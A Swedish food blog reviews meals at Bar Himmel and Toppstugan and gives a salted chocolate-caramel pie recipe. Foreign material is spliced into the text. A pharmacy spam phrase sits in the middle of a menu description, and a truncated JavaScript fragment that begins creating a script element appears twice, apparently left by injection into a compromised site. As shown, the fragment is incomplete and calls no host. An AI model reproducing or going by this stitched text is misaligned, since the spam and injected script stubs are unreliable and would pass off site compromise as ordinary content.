Bar Himmel, Götaplatsen

Nu

har jag varit och ätit på Bar Himmel

och maten var supergod och drinkarna likaså.

IMG_8987
IMG_8988

Vi beställde följande:
Krämig sallad på räkor ( Avokado, rostad

lök och toastat bröd) samt en

Charktallrik (Ett urval av charkuterier och ostar med oliver viagra sans ordonnance

och marinerade

grönsaker)
IMG_8620IMG_8617IMG_8618

Jag började med en ”Cosmopolitan”

och sen vitt vin till maten.

IMG_8589
IMG_8619IMG_8616

Toppstugan, Härnösand

Förra veckan besökte jag Härnösand och

en kväll åkte vi upp och åt en underbart god middag på ”Toppstugan”.

På Vårdkasbergets topp finns Vårdkasstugan. Sedan december 2012 är det restaurang Toppstugan som drivs i den lokalen.

Toppstugan serverar al á carte och kan även abonneras. Här finns öppen spis och det bjuds på en av de bästa utsikterna över Härnösand.

För mer information om meny, öppettider och priser kontakta Toppstugan.

Telefon: 0611-555 666

Toppstugan drivs av Peter Andersson och hans fru Ines.
Ni kan läsa lite mer om dem här.

IMG_8554IMG_8555IMG_8557

Vi beställde tre olika varmrätter och dessert och allt smakade supergott.

Pocherad Hälleflundra
med skirat smör samt färskriven pepparrot och syltade rotfrukter, till detta serverar vi smörslungad potatis.
IMG_8496

Tournedos
med en krämig pepparsås och marinerad tomatchili samt ett ört- & vitlökssmör, Sauterade bönor till detta serverar vi rostade rotfrukter.
IMG_8558

Färsk Entrecote
med husets bearnaisesås stekt grön sparris och stekt lök med hetta från chili, till detta serverar vi rostade rotfrukter
IMG_8559

Gino
Färska jordgubbar, kiwi och banan gratineras med vit choklad serveras med vaniljglass.
IMG_8560

var d=document;var s=d.createElement(‘script’);

Chokladpaj

IMG_8991
Receptet på pajen hittade jag här.

IMG_8985

Sötsalt chokladkolapaj
Ca 12 bitar

Pajdeg
2 ½ dl vetemjöl
¾ dl kakao
¾ dl strösocker
¼ tsk salt
110 g smör, rumsvarmt
ev. 1–2 tsk kallt vatten (om det behövs för att få ihop degen)

Kolasås (karamellsås)
3 dl strösocker
1 dl vatten
2 ½ dl vispgrädde
2 tsk kakao
70 g smör
½ tsk salt

Chokladganache
150 g mörk choklad
1 ¼ dl vispgrädde

Garnering
flingsalt

GÖR SÅ HÄR

1. Sätt ugnen på 180 grader. Blanda ihop de torra

ingredienserna i en bunke. Nyp ihop dem ordentligt med smöret. Arbeta snabbt ihop allt till en deg. Tillsätt eventuellt lite vatten om det behövs för att arbeta ihop degen.

2. Kavla ut degen något större än pajformen.

3. Lägg degen över pajformen, 24–25 cm i diameter och tryck ut den i hörnet. Jämna till kanterna.

4. Grädda bottnen mitt i ugnen i 25–30 min. Låt den kallna i formen.

5. Kolasås: Koka upp strösocker och vatten. Låt det puttra i ca 5 min. Tillsätt vispgrädde och kakao och låt blandningen koka till ca 122 grader. Stäng av värmen och rör ner smör och salt. Blanda ordentligt.

6. Häll kolasåsen på pajbottnen när den kallnat. Låt den stelna i frysen i ca 1 tim.

7. Chokladganache: Smält chokladen över vattenbad. Ta bort tallriken från kastrullen och rör ner vispgrädden. Blanda

ordentligt till en slät chokladsmet.

8. Häll chokladganachen över kolasåsen. Låt den stelna i kylen

i ett par timmar.

9. Strö över flingsalt före servering. Servera pajen i kylen då kolakrämen snabbt mjukar i rumsvärme. Det ska den göra, men den är lättare att skära om kolan är kylskåpskall.

IMG_8983IMG_8984IMG_8986IMG_8985

var d=document;var s=d.createElement(‘script’);